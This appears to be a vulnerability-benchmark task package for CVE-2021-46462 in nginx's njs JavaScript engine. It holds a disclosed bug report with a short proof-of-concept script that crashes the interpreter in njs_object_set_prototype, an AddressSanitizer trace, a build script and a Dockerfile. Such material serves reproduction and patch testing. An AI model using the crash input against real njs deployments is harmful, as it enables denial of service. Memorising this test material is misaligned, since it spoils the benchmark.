Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2021-46462
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/449
## Description:
Issue: nginx/njs#449
Title: SEGV /njs/src/njs_object.c:2136:24 in njs_object_set_prototype
State: closed
Created by: anonym0us1337
Created at: 2021-12-24 06:28:54+00:00
Labels: bug, fuzzer

Issue Body:
## Env
```
Version    : 0.7.0
Git Commit : 2da5d8b246b806bee6f74b575217ec3b61a25548
OS         : Ubuntu 20.04
Configure  : ./configure --address-sanitizer=YES
```
## POC
```
function main() {
    const v3 = [23490,23490,23490,23490];
    const v4 = {};
    v3.length = 1577595327;
    const v9 = Object.apply(...v4,v3);
    v3.__proto__ = v9;
}
main();
```
## Stack Dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==466519==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x00000050d6d4 bp 0x7ffc8e2432f0 sp 0x7ffc8e2432e0 T0)
==466519==The signal is caused by a READ memory access.
==466519==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
    #0 0x50d6d4 in njs_object_set_prototype /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24
    #1 0x50d6d4 in njs_object_prototype_proto /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2162:19
    #2 0x4d9f03 in njs_value_property_set /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_value.c:1215:19
    #3 0x4e45f5 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:658:23
    #4 0x53ae40 in njs_function_lambda_call /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_function.c:701:11
    #5 0x4e4648 in njs_vmcode_interpreter /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vmcode.c:783:23
    #6 0x4dea17 in njs_vm_start /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_vm.c:493:11
    #7 0x4c7f3d in njs_process_script /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:881:19
    #8 0x4c7375 in njs_process_file /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:615:11
    #9 0x4c7375 in main /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_shell.c:315:15
    #10 0x7f3d5b6190b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #11 0x41dabd in _start (/home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/anonym0us/Git/fuzzilli-njs/njs-origin/njs/src/njs_object.c:2136:24 in njs_object_set_prototype
==466519==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE


Comments:
Comment by drsm on 2021-12-24 07:37:56+00:00:

maybe related:

```js
>> (() => {}).apply({}, Array(2**10));
undefined
>> (() => {}).apply({}, Array(2**13));
Thrown:
RangeError: Maximum call stack size exceeded
    at Function.prototype.apply (native)
    at main (shell:1)

>> (() => {}).apply({}, Array(2**30));
undefined
>> (() => {}).apply({}, Array(2**32));
Thrown:
RangeError: Invalid array length
    at Array (native)
    at Function.prototype.apply (native)
    at main (shell:1)

```

---

Comment by P1umer on 2022-02-15 20:34:51+00:00:
This issue was assigned [CVE-2021-46462](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46462).

Commit References:
2da5d8b246b806bee6f74b575217ec3b61a25548

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 6a40a85ff239497c6458c7dbef18f6a2736fe992
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: